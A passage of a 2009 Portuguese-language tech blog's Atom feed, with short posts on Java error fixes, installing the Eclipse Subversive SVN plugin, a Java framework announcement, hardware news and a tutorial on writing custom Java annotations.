href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7735441151059222037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7735441151059222037'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/04/oracle-compra-sun.html' title='ORACLE COMPRA A SUN'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-3403964076017021914</id><published>2009-04-01T07:05:00.001-07:00</published><updated>2009-04-01T07:06:06.670-07:00</updated><title type='text'>java.sql.SQLException: Connection Cache with this Cache Name is Disabled</title><content type='html'>Acontece quando o application server perde a conectividade com o banco. Reinicie o seu application server e limpe as informações sobre seu pool de conexoes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-3403964076017021914?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/3403964076017021914/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=3403964076017021914&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3403964076017021914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3403964076017021914'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/04/javasqlsqlexception-connection-cache.html' title='java.sql.SQLException: Connection Cache with this Cache Name is Disabled'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-3683350138636866503</id><published>2009-03-31T14:18:00.000-07:00</published><updated>2009-03-31T14:21:50.581-07:00</updated><title type='text'>Its increment does not match its pre-allocation size</title><content type='html'>TOPLINK, se você obteve essa mensagem, é porque anotou sua sequence sem colocar o valor de pré-alocação, veja abaixo uma anotação com todos os parametros:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;        @Id&lt;br /&gt; @SequenceGenerator( name = "nome_minha_seq", sequenceName = "nome_minha_seq", allocationSize = 1, initialValue = 10 )&lt;br /&gt; @GeneratedValue( strategy = GenerationType.AUTO, generator = "nome_minha_seq" )&lt;br /&gt;        Long meuId;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-3683350138636866503?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/3683350138636866503/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=3683350138636866503&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3683350138636866503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3683350138636866503'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/03/its-increment-does-not-match-its-pre.html' title='Its increment does not match its pre-allocation size'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-7337580457209629252</id><published>2009-03-19T03:27:00.000-07:00</published><updated>2009-05-27T14:14:27.838-07:00</updated><title type='text'>PLUGIN ECLIPSE SVN SUBVERSIVE</title><content type='html'>Antes de inciar, preciso citar que você pode encontrar tudo no endereço &lt;a href="http://www.eclipse.org/subversive/" target="_blank"&gt;http://www.eclipse.org/subversive/&lt;/a&gt;, mas se você não tem o costume de ler o manual, continue em nosso site, ficaremos muito feliz com seu acesso, para que leia o nosso passo à passo:&lt;br /&gt;&lt;br /&gt;1 - Recomendamos que tenha um eclipse 3.x em sua máquina, caso não tenha baixe-o no link &lt;a target="_blank" href="http://www.eclipse.org/downloads/packages/"&gt;http://www.eclipse.org/downloads/packages/&lt;/a&gt;, atualmente a versão é o Ganymede, isso pode mudar caso você esteja lendo isso após o ano de 2009, mas para que este post continue valendo por bastante tempo, acesse o link e baixe a versão indicada no topo, se ela nao se chamar Ganymede, esteja certo de que estará com o produto mais atualizado de sua época (acredite, o eclipse sempre melhora).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2 - Dependencia do connector SVN: É, o eclipse não vem com a dependência do conector, por isso você precisa baixá-lo no site do ganymede &lt;a href="http://www.polarion.com/products/svn/subversive.php?src=eclipseproject" target="_blank"&gt;http://www.polarion.com/products/svn/subversive.php?src=eclipseproject&lt;/a&gt; faça o mesmo processo de instalação deste email, utilizando a opção add site com o endereço aberto no link anterior, no caso o update site é: http://www.polarion.org/projects/subversive/download/eclipse/2.0/ganymede-site/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt; VAMOS AO PASSO A PASSO - ADD SITE&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.eclipse.org/subversive/documentation/images/find_and_install.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 282px; height: 292px;" src="http://www.eclipse.org/subversive/documentation/images/find_and_install.png" alt="AMPLIAR" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;1 - Acesse a sessão Software Updates conforme imagem &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt;&lt;br/&gt;&lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2 - Chegue à tela da imagem abaixo e em add site, insira o endereço: &lt;a href="http://download.eclipse.org/technology/subversive/0.7/update-site/" target="_blank"&gt;http://download.eclipse.org/technology/subversive/0.7/update-site/&lt;/a&gt; (este endereço pode mudar um dia, por isso pegue o update site atualizado no link &lt;a href="http://www.eclipse.org/subversive/downloads.php" target="_blank"&gt;http://www.eclipse.org/subversive/downloads.php&lt;/a&gt; caso queira certificarse de que estará colocando um produto atualizado). Utilize o update site do conector da mesma forma que foi utilizado o do subversive&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.eclipse.org/subversive/documentation/images/add_site.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 676px; height: 509px;" src="http://www.eclipse.org/subversive/documentation/images/add_site.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3 - Mais ou menos assim deve ficar com o passo anterior executado.&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.eclipse.org/subversive/documentation/images/new_update_site.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 499px; height: 181px;" src="http://www.eclipse.org/subversive/documentation/images/new_update_site.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;4- Localize os itens do subversive e marque-os, após clique no botão "Install".. mas que fácilzinho hein?? quem disse que o eclipse é complicado?&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.eclipse.org/subversive/documentation/images/install_search_res.png"&gt;&lt;img style="width:720px; margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; " src="http://www.eclipse.org/subversive/documentation/images/install_search_res.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;5 - Dê "next next next finish", se você não é acostumado a ler o manual, vai entender perfeitamente, afinal de contas este tópico é feito para quem nao le o manual.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6 - Pronto, plugin instalado.&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.eclipse.org/subversive/documentation/images/show_view.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; " src="http://www.eclipse.org/subversive/documentation/images/show_view.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. Não me pergunte como usar, se você chegou até aqui é porque ja deveria saber ao menos usar a ferramenta que esta tentando instalar, mas caso não saiba, tudo bem, é uma boa chance de aprender. Leia sobre "Shared project", "commit", "Merge", "Chek out", "check in", tudo relacionado à SVN ou "controle de versão". Talvez você encontre outro cara preocupado com quem não lê o manual e faça um passo a passo quenem este que fiz para você, caro amigo leitor.&lt;br /&gt;&lt;br /&gt;8 - Veja só.. o informativo geral esta com seu projeto pronto e configurado no subversive, se você esta lendo este post no &lt;a href="http://informativogeral.com.br" target="_blank"&gt;informativogeral.com.br&lt;/a&gt; pode ter certeza que é graças à ajuda do Subversive. &lt;br /&gt;&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.informativogeral.com.br/img/svn_ige.JPG"&gt;&lt;img style=" margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 414px; height: 807px;" src="http://www.informativogeral.com.br/img/svn_ige.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-7337580457209629252?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/7337580457209629252/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=7337580457209629252&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7337580457209629252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7337580457209629252'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/03/plugin-eclipse-svn-subversive.html' title='PLUGIN ECLIPSE SVN SUBVERSIVE'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-1436449402825039835</id><published>2009-03-16T14:03:00.000-07:00</published><updated>2009-05-27T14:15:10.211-07:00</updated><title type='text'>NOVO FRAMEWORK POLDEV PARA JAVAEE</title><content type='html'>O projeto PolDev é um framework de desenvolvimento que auxiliará o processo de desenvolvimento de sistemas, 100% livre utilizando da tecnologia Java JDK 5, PostgreSQL e a junção de algumas APIS voltadas á web.&lt;br /&gt;&lt;br /&gt;O processo ainda continua em evolução e em breve poderá ser conferido no site: &lt;a href="https://sourceforge.net/projects/polDev" target="_blank"&gt;sourceforge.net/projects/polDev&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;polDev é uma evolução do genProject, desevolvido em 2005.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/genProject" target="_blank"&gt;sourceforge.net/projects/genProject&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-1436449402825039835?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/1436449402825039835/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=1436449402825039835&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1436449402825039835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1436449402825039835'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/04/conheca-o-poldev.html' title='NOVO FRAMEWORK POLDEV PARA JAVAEE'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-4578222199035001776</id><published>2009-03-05T09:31:00.000-08:00</published><updated>2009-03-05T09:33:00.829-08:00</updated><title type='text'>PROCESSADORES INTEL x AMD AVALIAÇÃO</title><content type='html'>&lt;a  target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img519.imageshack.us/img519/1334/000000057786sn2.png"&gt;&lt;img style=" margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 574px; height: 840px;" src="http://img519.imageshack.us/img519/1334/000000057786sn2.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Segue acima uma imagem com uma avalidação de processadores Intel x AMD, onde no caso é relacionado à Games. O Exemplo simula a execução do game Far Cry em ambos processadores.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-4578222199035001776?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/4578222199035001776/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=4578222199035001776&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/4578222199035001776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/4578222199035001776'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/03/processadores-intel-x-amd-avaliacao.html' title='PROCESSADORES INTEL x AMD AVALIAÇÃO'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-3665814490602635554</id><published>2009-02-26T09:22:00.000-08:00</published><updated>2009-02-26T09:35:27.071-08:00</updated><title type='text'>CONHEÇA O ASUS F6</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://tecnotrekos.blogtv.uol.com.br/img/Image/Tecnotrekos/2008/Agosto/asus-f6.jpg" target="_blank"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 337px;" src="http://tecnotrekos.blogtv.uol.com.br/img/Image/Tecnotrekos/2008/Agosto/asus-f6.jpg" border="0" alt="Clique para ampliar" /&gt;&lt;/a&gt; Ao que parece a empresa Asus não desistiu de inovar quando o assunto é Notebook, a empresa esta trabalhando duro e conseguindo conquistar um mercado que no passado era muito competitivo e que ela mesmo tinha dificuldades para vencer as tão poderosas concorrentes Dell, Toshiba, Compaq, Apple, Sony etc.&lt;br /&gt;&lt;br /&gt;Agora a cada ano uma novidade, e cada vez com mais acessórios e recursos, os mini-notes, que são PCs teoricamente simples e com uso destinado à navegação na internet, além da proposta inicial do EEE pc que tinha fins didáticos e para crianças em idade de aprendizado, acabou se tornando uma ferramenta útil nas mãos de quem precisa de praticidade, surpreendeu no desempenho que é conquistado principalmente por sua arquitetura compacta e inteligente que utiliza memória flash e traz um acesso à disco muito mais rápido do que o convencional, até por serem discos pequenos, os sistemas operacionais tem uma facilidade muito maior no gerenciamento de recursos de disco, tornando os sistemas operacionais bem mais rápidos do que qualquer um de nós poderia espera no começo desta febre.&lt;br /&gt;&lt;br /&gt;Falando em micro-pcs vamos à grande novidade da Asus, o F6, com uma tela de 13,3 este pc traz uma melhora para as reclamações sobre a tela que as versões anteriores proporcionaram, porém não é mais um brinquedo, vejam só: HD 320GB, Memória Ram 4GB, Processador Intel core2 duo, pois bem, ele não pode mais ser chamado de mini-pc. Com esses recursos realmente vamos aguardar para verificar qual será a reclamação. (Talvez a reclamação venha de quem já tem um Apple ou um Sony e pagou bem caro para poder admitir que um estreante possa ser melhor ). É claro, algumas coisas dos notebooks tradicionais podem ser melhores, mas compensando tudo isso, eis que surge o trunfo da Asus, o CHEIRO, isso mesmo... O F6 possui um odor particular, são na verdade aromatizantes de ambiente que acompanham este notebook, porém a empresa Asus não informou o tempo que esse aromatizante pode durar.&lt;br /&gt;&lt;br /&gt;Então quando falarem mal do seu Asus, responda assim; "É, pelo menos o meu cheira bem.." hehehe.. este trunfo ninguem mais vai ter, só você que tem o F6.&lt;br /&gt;&lt;br /&gt;Abraço&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-3665814490602635554?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/3665814490602635554/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=3665814490602635554&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3665814490602635554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3665814490602635554'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/02/conheca-o-asus-f6.html' title='CONHEÇA O ASUS F6'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8556155343565839217</id><published>2009-02-12T12:25:00.000-08:00</published><updated>2009-02-12T12:32:50.309-08:00</updated><title type='text'>C Sharp VERSUS C++ VERSUS JAVA SOCORRO</title><content type='html'>Fazendo um parêntese à esse tema, venho repassar uma informação aos amigos, estava lendo uma mensagem que recebi de uma newsletter da comunidade Eclipse e veio junto um link à um post. "C# versus C++ versus Java performance comparison" e ai? Acharam que eu não iria ler? É impossível resistir à essa armadilha da curiosidade humana. &lt;br /&gt;&lt;br /&gt;Bom, venho colocar a mesma pulga atráz da orelha dos amigos sobre esse tema tão complexo e tão relacionado com um outro que diz assim "Quem nasceu primeiro, o ovo ou a galinha?".&lt;br /&gt;&lt;br /&gt;Deem uma olhada no post e vejam como anda o assunto, a discussão vai entrar em looping, tenho certeza:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://reverseblade.blogspot.com/2009/02/c-versus-c-versus-java-performance.html" target="_blank"&gt;C# versus C++ versus Java performance comparison&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Abraço...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8556155343565839217?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8556155343565839217/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8556155343565839217&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8556155343565839217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8556155343565839217'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/02/c-versus-c-versus-java-socorro.html' title='C Sharp VERSUS C++ VERSUS JAVA SOCORRO'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-752405734353645306</id><published>2009-01-29T06:30:00.000-08:00</published><updated>2009-01-29T06:33:21.014-08:00</updated><title type='text'>JAVA: Site desafia criatividade humana no xadrez</title><content type='html'>&lt;a target="_blank" href="http://info.abril.com.br/aberto/infonews/tags/guilherme_pavarin1.shtml"&gt;Por Guilherme Pavarin (Info)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SÃO PAULO – Um software chamado Thinking Machine mostra o processo de raciocínio de uma máquina durante uma partida de xadrez.&lt;br /&gt;&lt;br /&gt;Nesta quarta geração do programa, os desenvolvedores criaram uma peça com o objetivo de traçar detalhadamente a complexidade dos pensamentos que envolvem a estratégia do jogo de tabuleiro. &lt;br /&gt;&lt;br /&gt;Cada possível movimento, de máquina e humano, é projetado por curvas coloridas (esverdeadas para o usuário e alaranjadas para inteligência artificial) enquanto o computador ‘pensa’ na jogada.&lt;br /&gt;&lt;br /&gt;A tecnologia usada foi um aplicativo em Java 1.1, construídos a partir da base de algoritmos simples e de partidas de xadrez. Segundo descrição dos próprios criadores, não é um programa para jogadores peritos, e sim, para quem tem interesse científico. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Leia mais em info plantão: &lt;a  target="_blank" href="http://info.abril.com.br/aberto/infonews/012009/28012009-32.shl"&gt;http://info.abril.com.br/aberto/infonews/012009/28012009-32.shl&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-752405734353645306?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/752405734353645306/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=752405734353645306&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/752405734353645306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/752405734353645306'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/01/java-site-desafia-criatividade-humana.html' title='JAVA: Site desafia criatividade humana no xadrez'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-2103709340797855369</id><published>2009-01-29T03:48:00.000-08:00</published><updated>2009-01-29T03:50:29.365-08:00</updated><title type='text'>Datum TI é CMMI nível 3, entre as maiores do país</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Saiu no site baguete&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Duas empresas gaúchas já tem o nível 3 do CMMI. Um dia após a NTConsult divulgar a obtenção do selo, a Datum TI, também de Porto Alegre, fez o mesmo.&lt;br /&gt;&lt;br /&gt;Uma consulta ao site da Carnegie Mellon, universidade americana que criou e regula o modelo de qualidade de software, afirma que o selo foi concedido com apenas sete dias de diferença entre uma e outra, em dezembro.&lt;br /&gt;&lt;br /&gt;Assim como a NTConsult, a Datum saltou a fase intermediária do nível 2. “Internamente, já trabalhávamos práticas avançadas. Queríamos comprovar isso para o mercado”, resume o diretor da empresa, Alexandre Zanetti.&lt;br /&gt;&lt;br /&gt;São 45 colaboradores na área de desenvolvimento, dois dos quais foram alocados em tempo integral para obter a certificação.&lt;br /&gt;&lt;br /&gt;Zanetti destaca o alto índice de aproveitamento da companhia na avaliação, conduzida pela consultoria Herbert Consulting – que, nova coincidência, também avaliou a NTConsult. "Aprovamos todas as 336 práticas avaliadas. Só cerca de 5% consegue esse resultado”, revela.&lt;br /&gt;&lt;br /&gt;De acordo com o empresário, a expectativa é que a conquista do selo deve ajudar a abrir portas no exterior para contratos de fábrica de software. A Datum é uma das seis participantes do consórcio gaúcho Unacorp, focado totalmente no mercado externo.&lt;br /&gt;&lt;br /&gt;Hoje, são 77 as empresas avaliadas e certificadas no CMMI, a maioria no nível 2, cerca de 30 no nível 3 e apenas cinco no nível 5. O nível máximo é, aliás, a próxima meta da empresa, que já trabalha para sua obtenção.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FONTE: &lt;a target="_blank" href="http://www.baguete.com.br/noticiasDetalhes.php?id=32036"&gt;http://www.baguete.com.br/noticiasDetalhes.php?id=32036&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-2103709340797855369?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/2103709340797855369/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=2103709340797855369&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2103709340797855369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2103709340797855369'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/01/datum-ti-e-cmmi-nivel-3-entre-as.html' title='Datum TI é CMMI nível 3, entre as maiores do país'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6929965241891944132</id><published>2009-01-27T11:40:00.000-08:00</published><updated>2009-02-11T05:24:10.504-08:00</updated><title type='text'>Crie sua própria Java Annotation</title><content type='html'>Muito importante para que procedimentos padrão sejam efetuados por alguma aplicação e muito útil ao desenvolvimento no que diz respeito a organização e execução de processos de forma simples e bem estrturada, as annotations são simples de serem desenvolvidas. É preciso programar de forma clara cada vez mais, trabalho em equipe é regra adotada dez da mais simples à mais poderosa das organizações. &lt;br /&gt;&lt;br /&gt;Vou explicar aqui e indicar fontes para o desenvolvimento de suas próprias annotations. No site da SUN, no link abaixo vocês poderão conferir um exemplo completo e bem explicado. Os códigos abaixo (retirados do exemplo) são auto-explicativos para qualquer programador Java.&lt;br /&gt;&lt;br /&gt;Lembrando que a especificação é do Java 5:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;/**&lt;br /&gt; * Describes the Request-For-Enhancement(RFE) that led&lt;br /&gt; * to the presence of the annotated API element.&lt;br /&gt; */&lt;br /&gt;public @interface RequestForEnhancement {&lt;br /&gt;    int    id();&lt;br /&gt;    String synopsis();&lt;br /&gt;    String engineer() default "[unassigned]"; &lt;br /&gt;    String date();    default "[unimplemented]"; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@RequestForEnhancement(&lt;br /&gt;    id       = 2868724,&lt;br /&gt;    synopsis = "Enable time-travel",&lt;br /&gt;    engineer = "Mr. Peabody",&lt;br /&gt;    date     = "4/1/3007"&lt;br /&gt;)&lt;br /&gt;public static void travelThroughTime(Date destination) { ... }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Indicates that the specification of the annotated API element&lt;br /&gt; * is preliminary and subject to change.&lt;br /&gt; */&lt;br /&gt;public @interface Preliminary { }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@Preliminary public class TimeTravel { ... }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Associates a copyright notice with the annotated API element.&lt;br /&gt; */&lt;br /&gt;public @interface Copyright {&lt;br /&gt;    String value();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;@Copyright("2002 Yoyodyne Propulsion Systems")&lt;br /&gt;public class OscillationOverthruster { ... }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;====== TESTE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;import java.lang.annotation.*;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Indicates that the annotated method is a test method.&lt;br /&gt; * This annotation should be used only on parameterless static methods.&lt;br /&gt; */&lt;br /&gt;@Retention(RetentionPolicy.RUNTIME)&lt;br /&gt;@Target(ElementType.METHOD)&lt;br /&gt;public @interface Test { }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class Foo {&lt;br /&gt;    @Test public static void m1() { }&lt;br /&gt;    public static void m2() { }&lt;br /&gt;    @Test public static void m3() {&lt;br /&gt;        throw new RuntimeException("Boom");&lt;br /&gt;    }&lt;br /&gt;    public static void m4() { }&lt;br /&gt;    @Test public static void m5() { }&lt;br /&gt;    public static void m6() { }&lt;br /&gt;    @Test public static void m7() {&lt;br /&gt;        throw new RuntimeException("Crash");&lt;br 